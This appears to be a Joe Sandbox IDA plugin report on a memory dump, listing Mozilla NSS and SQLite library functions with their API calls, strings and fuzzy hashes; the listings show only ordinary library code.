Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: free$Errormallocstrlen$Handle$EnvironmentStringsmemset$Free$CloseCreateLastProcessValue__p__environqsortstrncmpstrpbrk
String ID: =$D$NSPR_INHERIT_FDS=
API String ID: 3116300875-3553733109
Opcode ID: 32899512fd3e111fe69106e525b13a8f30ddc8c99b5f908b082568f6dd550dc8
Instruction ID: fdd0e2e12e54479c788f797a645d63665f5cecf11512f57b4e4f561d0a75690e
Opcode Fuzzy Hash: 32899512fd3e111fe69106e525b13a8f30ddc8c99b5f908b082568f6dd550dc8
Instruction Fuzzy Hash: 4702D470E042959FEB108F69C8447BEBBB4FF16308F244129D869B7B41DB71A855CF92

Function 6CAC6D90 Relevance: 60.3, APIs: 33, Strings: 1, Instructions: 809COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,6CBCA8EC,0000006C), ref: 6CAC6DC6
memcpy.VCRUNTIME140(?,6CBCA958,0000006C), ref: 6CAC6DDB
memcpy.VCRUNTIME140(?,6CBCA9C4,00000078), ref: 6CAC6DF1
memcpy.VCRUNTIME140(?,6CBCAA3C,0000006C), ref: 6CAC6E06
memcpy.VCRUNTIME140(?,6CBCAAA8,00000060), ref: 6CAC6E1C
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CAC6E38

Part of subcall function 6CB4C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CB4C2BF

PK11_DoesMechanism.NSS3(?,?), ref: 6CAC6E76
TlsGetValue.KERNEL32 ref: 6CAC726F
EnterCriticalSection.KERNEL32(?), ref: 6CAC7283

Strings

!, xrefs: 6CAC7123

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: memcpy$Value$CriticalDoesEnterErrorK11_MechanismSection
String ID: !
API String ID: 3333340300-2657877971
Opcode ID: 7af2de500ec2273a9192fe5e612741666b87770f3b4fe476f2e5742e809e7074
Instruction ID: 6cb8e2639bd17d1004301d094622bf8954f94db8323a0a799765670678fb8d32
Opcode Fuzzy Hash: 7af2de500ec2273a9192fe5e612741666b87770f3b4fe476f2e5742e809e7074
Instruction Fuzzy Hash: AF728D75E052189FDF60DF28CC88B9ABBB5EB48304F1441A9D81DA7711EB319AC5CF91

Function 6CA33C40 Relevance: 41.2, APIs: 20, Strings: 3, Instructions: 932COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CA33C66
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(000000FD,?), ref: 6CA33D04
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CA33EAD
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CA33ED7
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CA33F74
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CA34052
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CA3406F
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000001), ref: 6CA3410D
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00011A47,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CA3449C

Strings

database corruption, xrefs: 6CA34490, 6CA344F4, 6CA34599, 6CA34764, 6CA34804
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CA34452, 6CA34486, 6CA344EA, 6CA34571, 6CA34580, 6CA3458F, 6CA3475A, 6CA347FA
%s at line %d of [%.10s], xrefs: 6CA34495, 6CA344F9, 6CA3459E, 6CA34769, 6CA34809

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: _byteswap_ulong$sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 2597148001-598938438
Opcode ID: a506c4f58e5ea2b8fb0841cc14ee56ca5c31c1425010a02ecd212e951a47ec5d
Instruction ID: be6e485a3d391f5afaf1e5d30fbf7eed8e9515b3f38dd2478acc24e219664ecf
Opcode Fuzzy Hash: a506c4f58e5ea2b8fb0841cc14ee56ca5c31c1425010a02ecd212e951a47ec5d
Instruction Fuzzy Hash: 1982A474A04225CFCB04CF69C5A0B9DBBB1BF49318F295169D809EBB51D732EC86CB91

Function 6CB0AC30 Relevance: 39.5, APIs: 26, Instructions: 539memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6CB0ACC4
PORT_ArenaAlloc_Util.NSS3(?,000040F4), ref: 6CB0ACD5
memset.VCRUNTIME140(00000000,00000000,000040F4), ref: 6CB0ACF3
SEC_ASN1EncodeInteger_Util.NSS3(?,00000018,00000003), ref: 6CB0AD3B
SECITEM_CopyItem_Util.NSS3(?,?,00000000), ref: 6CB0ADC8
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CB0ADDF
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CB0ADF0

Part of subcall function 6CB4C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CB4C2BF

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CB0B06A
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CB0B08C
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CB0B1BA
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CB0B27C
memset.VCRUNTIME140(?,00000000,00002010), ref: 6CB0B2CA
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CB0B3C1
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CB0B40C

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: Util$Error$Arena_Free$ArenaItem_memset$Alloc_CopyEncodeInteger_Mark_ValueZfree
String ID:
API String ID: 1285963562-0
Opcode ID: 5b6439f6ecca71d54b7f4ee3fbee201098b40b1fc5405e162fa84d71a5c4c4f6
Instruction ID: 7a9d739ec35126674374d30c876684f05462cfdb477b07676b53fd78352f5c6b
Opcode Fuzzy Hash: 5b6439f6ecca71d54b7f4ee3fbee201098b40b1fc5405e162fa84d71a5c4c4f6
Instruction Fuzzy Hash: 7422AE71A04341AFE710CF14CC40B9A7BE5EF8430CF24896CE9585B7A2E772E859CB96

Function 6CA51F90 Relevance: 35.9, APIs: 5, Strings: 18, Instructions: 1430COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6CA525F3

Strings

%s.%s.%s, xrefs: 6CA5302D
recursive reference in a subquery: %s, xrefs: 6CA522E5
too many references to "%s": max 65535, xrefs: 6CA52FB6
no tables specified, xrefs: 6CA526BE
no such index: "%s", xrefs: 6CA5319D
multiple recursive references: %s, xrefs: 6CA522E0
H, xrefs: 6CA5322D
cannot join using column %s - column not present in both tables, xrefs: 6CA532AB
unsafe use of virtual table "%s", xrefs: 6CA530D1
'%s' is not a function, xrefs: 6CA52FD2
%s.%s, xrefs: 6CA52D68
cannot have both ON and USING clauses in the same join, xrefs: 6CA532B5
table %s has %d values for %d columns, xrefs: 6CA5316C
no such table: %s, xrefs: 6CA526AC
too many columns in result set, xrefs: 6CA53012
a NATURAL join may not have an ON or USING clause, xrefs: 6CA532C1
H, xrefs: 6CA5329F
access to view "%s" prohibited, xrefs: 6CA52F4A

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: memcpy
String ID: %s.%s$%s.%s.%s$'%s' is not a function$H$H$a NATURAL join may not have an ON or USING clause$access to view "%s" prohibited$cannot have both ON and USING clauses in the same join$cannot join using column %s - column not present in both tables$multiple recursive references: %s$no such index: "%s"$no such table: %s$no tables specified$recursive reference in a subquery: %s$table %s has %d values for %d columns$too many columns in result set$too many references to "%s": max 65535$unsafe use of virtual table "%s"
API String ID: 3510742995-3400015513
Opcode ID: d822d5cc9e5d42b5c13043c5944dcf22e47db5dec6f5a5c4b3794e7bdf61168c
Instruction ID: 05b1500dfd758e555adacbd97ae70bcc9092d6a528de836cb72339295e295153
Opcode Fuzzy Hash: d822d5cc9e5d42b5c13043c5944dcf22e47db5dec6f5a5c4b3794e7bdf61168c
Instruction Fuzzy Hash: 24D2AE74E05209CFDB04CF99C484B9DB7B1FF89308F68C269D855ABB51D731A8A6CB90

Function 6CA8ECD0 Relevance: 33.8, APIs: 7, Strings: 12, Instructions: 539COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6CA8ED38

Part of subcall function 6CA24F60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CA24FC4

sqlite3_mprintf.NSS3(snippet), ref: 6CA8EF3C
sqlite3_mprintf.NSS3(offsets), ref: 6CA8EFE4

Part of subcall function 6CB4DFC0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,00000003,?,6CA25001,?,00000003,00000000), ref: 6CB4DFD7

sqlite3_mprintf.NSS3(matchinfo), ref: 6CA8F087
sqlite3_mprintf.NSS3(matchinfo), ref: 6CA8F129
sqlite3_mprintf.NSS3(optimize), ref: 6CA8F1D1
sqlite3_free.NSS3(?), ref: 6CA8F368

Strings

fts3, xrefs: 6CA8F247
matchinfo, xrefs: 6CA8F04F, 6CA8F082, 6CA8F0C2, 6CA8F0F2, 6CA8F124, 6CA8F169
snippet, xrefs: 6CA8EF05, 6CA8EF37, 6CA8EF7C
fts4aux, xrefs: 6CA8ECF9
fts3_tokenizer, xrefs: 6CA8EE1A, 6CA8EEA8
offsets, xrefs: 6CA8EFAF, 6CA8EFDF, 6CA8F01F
unicode61, xrefs: 6CA8EDB5
porter, xrefs: 6CA8ED97
optimize, xrefs: 6CA8F199, 6CA8F1CC, 6CA8F211
simple, xrefs: 6CA8ED79
fts3tokenize, xrefs: 6CA8F30F
fts4, xrefs: 6CA8F2AD

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: sqlite3_mprintf$strlen$sqlite3_freesqlite3_initialize
String ID: fts3$fts3_tokenizer$fts3tokenize$fts4$fts4aux$matchinfo$offsets$optimize$porter$simple$snippet$unicode61
API String ID: 2518200370-449611708
Opcode ID: 889dac1b6d4c39dfaa9c9f79f55ec10f99bd06d851d17c118ed1b4f99b265542
Instruction ID: e68182bde5868974699b48d0736e41950031c3a312d1811714cc0a1392089acb
Opcode Fuzzy Hash: 889dac1b6d4c39dfaa9c9f79f55ec10f99bd06d851d17c118ed1b4f99b265542
Instruction Fuzzy Hash: 3702F4B5B053428BE7049F31AC8573B36B6BBC570CF18453CD86997B01EB75E88A8792

Function 6CB07C00 Relevance: 31.9, APIs: 21, Instructions: 421COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CB07C33
NSS_OptionGet.NSS3(0000000C,00000000), ref: 6CB07C66
CERT_DestroyCertificate.NSS3(00000000), ref: 6CB07D1E

Part of subcall function 6CB07870: SECOID_FindOID_Util.NSS3(?,?,?,6CB091C5), ref: 6CB0788F

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CB07D48
PR_SetError.NSS3(FFFFE067,00000000), ref: 6CB07D71
SECKEY_DestroyPublicKey.NSS3(00000000), ref: 6CB07DD3
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CB07DE1
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CB07DF8
SECKEY_DestroyPublicKey.NSS3(?), ref: 6CB07E1A
PR_SetError.NSS3(FFFFE067,00000000), ref: 6CB07E58

Part of subcall function 6CB07870: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CB091C5), ref: 6CB078BB
Part of subcall function 6CB07870: PORT_ZAlloc_Util.NSS3(0000000C,?,?,?,6CB091C5), ref: 6CB078FA
Part of subcall function 6CB07870: strchr.VCRUNTIME140(?,0000003A,?,?,?,?,?,?,?,?,?,?,6CB091C5), ref: 6CB07930
Part of subcall function 6CB07870: PORT_Alloc_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6CB091C5), ref: 6CB07951
Part of subcall function 6CB07870: memcpy.VCRUNTIME140(00000000,?,?), ref: 6CB07964
Part of subcall function 6CB07870: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6CB0797A
Part of subcall function 6CB07870: strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000001), ref: 6CB07988
Part of subcall function 6CB07870: memcpy.VCRUNTIME140(?,00000001,00000001), ref: 6CB07998
Part of subcall function 6CB07870: free.MOZGLUE(00000000), ref: 6CB079A7
Part of subcall function 6CB07870: SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?,?,?,?,?,?,6CB091C5), ref: 6CB079BB
Part of subcall function 6CB07870: PR_GetCurrentThread.NSS3(?,?,?,?,6CB091C5), ref: 6CB079CA

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CB07E49
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CB07F8C
SECKEY_DestroyPublicKey.NSS3(?), ref: 6CB07F98
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CB07FBF
SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CB07FD9
PK11_ImportEncryptedPrivateKeyInfoAndReturnKey.NSS3(?,00000000,?,?,?,00000001,00000001,?,?,00000000,?), ref: 6CB08038
SECITEM_ZfreeItem_Util.NSS3(00000000,00000000), ref: 6CB08050
PK11_ImportPublicKey.NSS3(?,?,00000001), ref: 6CB08093
SECOID_FindOID_Util.NSS3 ref: 6CB07F29

Part of subcall function 6CB007B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6CAA8298,?,?,?,6CA9FCE5,?), ref: 6CB007BF
Part of subcall function 6CB007B0: PL_HashTableLookup.NSS3(?,?), ref: 6CB007E6
Part of subcall function 6CB007B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CB0081B
Part of subcall function 6CB007B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CB00825

SECKEY_DestroyPublicKey.NSS3(00000000), ref: 6CB08072
SECOID_FindOID_Util.NSS3 ref: 6CB080F5

Part of subcall function 6CB0BC10: SECITEM_CopyItem_Util.NSS3(?,?,?,?,-00000001,?,6CB0800A,00000000,?,00000000,?), ref: 6CB0BC3F

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: Util$Item_$Error$Zfree$DestroyPublic$Find$Alloc_CopyHashImportK11_LookupTablememcpy$AlgorithmCertificateConstCurrentEncryptedInfoOptionPrivateReturnTag_Threadfreestrchrstrcmpstrlen
String ID:
API String ID: 2815116071-0
Opcode ID: 3e14e5330746b7da97c2ef27fe1eb583edc74059cee5e75813c1f6c752fc4c0d
Instruction ID: 1690c997470bbb18a987faca567a282225f784ce693bf3260af0c9b6391067b6
Opcode Fuzzy Hash: 3e14e5330746b7da97c2ef27fe1eb583edc74059cee5e75813c1f6c752fc4c0d
Instruction Fuzzy Hash: C4E1A0707093809FD710CF28D840B5ABBE5EF44308F144A6DE88AABB51E772ED49CB52

Function 6CA91C30 Relevance: 26.3, APIs: 14, Strings: 1, Instructions: 96memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 6CA91C6B
OpenProcessToken.ADVAPI32(00000000,00000008,?), ref: 6CA91C75
GetTokenInformation.ADVAPI32(00000400,00000004,?,00000400,?), ref: 6CA91CA1
GetLengthSid.ADVAPI32(?), ref: 6CA91CA9
malloc.MOZGLUE(00000000), ref: 6CA91CB4
CopySid.ADVAPI32(00000000,00000000,?), ref: 6CA91CCC
GetTokenInformation.ADVAPI32(?,00000005(TokenIntegrityLevel),?,00000400,?), ref: 6CA91CE4
GetLengthSid.ADVAPI32(?), ref: 6CA91CEC
malloc.MOZGLUE(00000000), ref: 6CA91CFD
CopySid.ADVAPI32(00000000,00000000,?), ref: 6CA91D0F
CloseHandle.KERNEL32(?), ref: 6CA91D17
AllocateAndInitializeSid.ADVAPI32 ref: 6CA91D4D
GetLastError.KERNEL32 ref: 6CA91D73
PR_LogPrint.NSS3(_PR_NT_InitSids: OpenProcessToken() failed. Error: %d,00000000), ref: 6CA91D7F

Strings

_PR_NT_InitSids: OpenProcessToken() failed. Error: %d, xrefs: 6CA91D7A

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: Token$CopyInformationLengthProcessmalloc$AllocateCloseCurrentErrorHandleInitializeLastOpenPrint
String ID: _PR_NT_InitSids: OpenProcessToken() failed. Error: %d
API String ID: 3748115541-1216436346
Opcode ID: 90232027dec62fa97ad7081e7f2feff775d090902e9af0ac840835e8ba39f6f6
Instruction ID: c2ae9ec0107465fe5faef7c05a74442670385b51aa1fd216624183c5777536e3
Opcode Fuzzy Hash: 90232027dec62fa97ad7081e7f2feff775d090902e9af0ac840835e8ba39f6f6
Instruction Fuzzy Hash: B83186B5A00218AFEF20DF64DC49BAA7BB8FF49349F004169F61893211E7319AC4CF65

Function 6CA93D00 Relevance: 24.9, APIs: 10, Strings: 4, Instructions: 446COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6CA93DFB
__allrem.LIBCMT ref: 6CA93EEC
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CA93FA3
memcpy.VCRUNTIME140(?,?,00000001), ref: 6CA94047
memcpy.VCRUNTIME140(?,?,00000000), ref: 6CA940DE
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CA9415F
__allrem.LIBCMT ref: 6CA9416B
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CA94288
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CA942AB
__allrem.LIBCMT ref: 6CA942B7

Strings

%04d, xrefs: 6CA9407B
%02d, xrefs: 6CA94086
%03d, xrefs: 6CA942E8
%lld, xrefs: 6CA93FB2

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@$__allrem$memcpy$__aulldiv
String ID: %02d$%03d$%04d$%lld
API String ID: 703928654-3678606288
Opcode ID: 7c13ac53aafd0829acbadaf23837f23652a14813d66335edd72175b183852769
Instruction ID: e03ffcdb33ec26f4b1940261cc40963f6f2e44aafbbb3ec800e435538e9299c5
Opcode Fuzzy Hash: 7c13ac53aafd0829acbadaf23837f23652a14813d66335edd72175b183852769
Instruction Fuzzy Hash: 5FF1F471A187409FD715CF38C882A6FB7F6AF85308F148A1DF4999BA51EB34D8858B42

Function 6CA9EF40 Relevance: 23.4, APIs: 10, Strings: 3, Instructions: 629stringmemoryCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CA9EF63

Part of subcall function 6CAA87D0: PORT_NewArena_Util.NSS3(00000800,6CA9EF74,00000000), ref: 6CAA87E8
Part of subcall function 6CAA87D0: PORT_ArenaAlloc_Util.NSS3(00000000,00000008,?,6CA9EF74,00000000), ref: 6CAA87FD
Part of subcall function 6CAA87D0: PORT_ArenaAlloc_Util.NSS3(00000000,00000000), ref: 6CAA884C

PL_strncasecmp.NSS3(oid.,?,00000004), ref: 6CA9F2D4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CA9F2FC
SEC_StringToOID.NSS3(?,?,?,00000000), ref: 6CA9F30F
SECITEM_AllocItem_Util.NSS3(?,00000000,-00000002), ref: 6CA9F374
PL_strcasecmp.NSS3(6CBE2FD4,?), ref: 6CA9F457
SECOID_FindOIDByTag_Util.NSS3(00000029), ref: 6CA9F4D2
SECITEM_ZfreeItem_Util.NSS3(00000000,00000000), ref: 6CA9F66E
PR_SetError.NSS3(FFFFE007,00000000), ref: 6CA9F67D
CERT_DestroyName.NSS3(?), ref: 6CA9F68B

Part of subcall function 6CAA8320: PORT_ArenaAlloc_Util.NSS3(0000002A,00000018), ref: 6CAA8338
Part of subcall function 6CAA8320: SECOID_FindOIDByTag_Util.NSS3(?), ref: 6CAA8364
Part of subcall function 6CAA8320: PORT_ArenaAlloc_Util.NSS3(0000002A,?), ref: 6CAA838E
Part of subcall function 6CAA8320: memcpy.VCRUNTIME140(00000000,?,?), ref: 6CAA83A5
Part of subcall function 6CAA8320: PR_SetError.NSS3(FFFFE005,00000000), ref: 6CAA83E3

Part of subcall function 6CAA84C0: PORT_ArenaAlloc_Util.NSS3(00000000,00000004,00000000,00000000), ref: 6CAA84D9
Part of subcall function 6CAA84C0: PORT_ArenaAlloc_Util.NSS3(00000000,00000000), ref: 6CAA8528

Part of subcall function 6CAA8900: PORT_ArenaGrow_Util.NSS3(00000000,?,00000000,?,00000000,?,00000000,?,6CA9F599,?,00000000), ref: 6CAA8955

Strings

*, xrefs: 6CA9F3C6
", xrefs: 6CA9F21B
oid., xrefs: 6CA9F2CF

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_$ErrorFindItem_Tag_strlen$AllocArena_DestroyGrow_L_strcasecmpL_strncasecmpNameStringZfreememcpy
String ID: "$*$oid.
API String ID: 4161946812-2398207183
Opcode ID: 9ce4392834f5263a0ebece54fe023f7467e55ca525abc1fcd6680203c8304253
Instruction ID: 0ea6835311f522aaf8bb0d7fcfd72de6383ce0e1fbf961e6c2b20b035ee56436
Opcode Fuzzy Hash: 9ce4392834f5263a0ebece54fe023f7467e55ca525abc1fcd6680203c8304253
Instruction Fuzzy Hash: 0A2238716283904BD714CE29CC923AAB7E6ABC5318F1C4A2EF59587B91E7319CC5C783

Function 6CA41C30 Relevance: 23.2, APIs: 3, Strings: 10, Instructions: 485COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CA41D58
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CA41EFD
sqlite3_exec.NSS3(00000000,00000000,Function_00007370,?,00000000), ref: 6CA41FB7

Strings

table, xrefs: 6CA41C8B
unsupported file format, xrefs: 6CA42188
no more rows available, xrefs: 6CA42264
SELECT*FROM"%w".%s ORDER BY rowid, xrefs: 6CA41F83
attached databases must use the same text encoding as main database, xrefs: 6CA420CA
unknown error, xrefs: 6CA42291
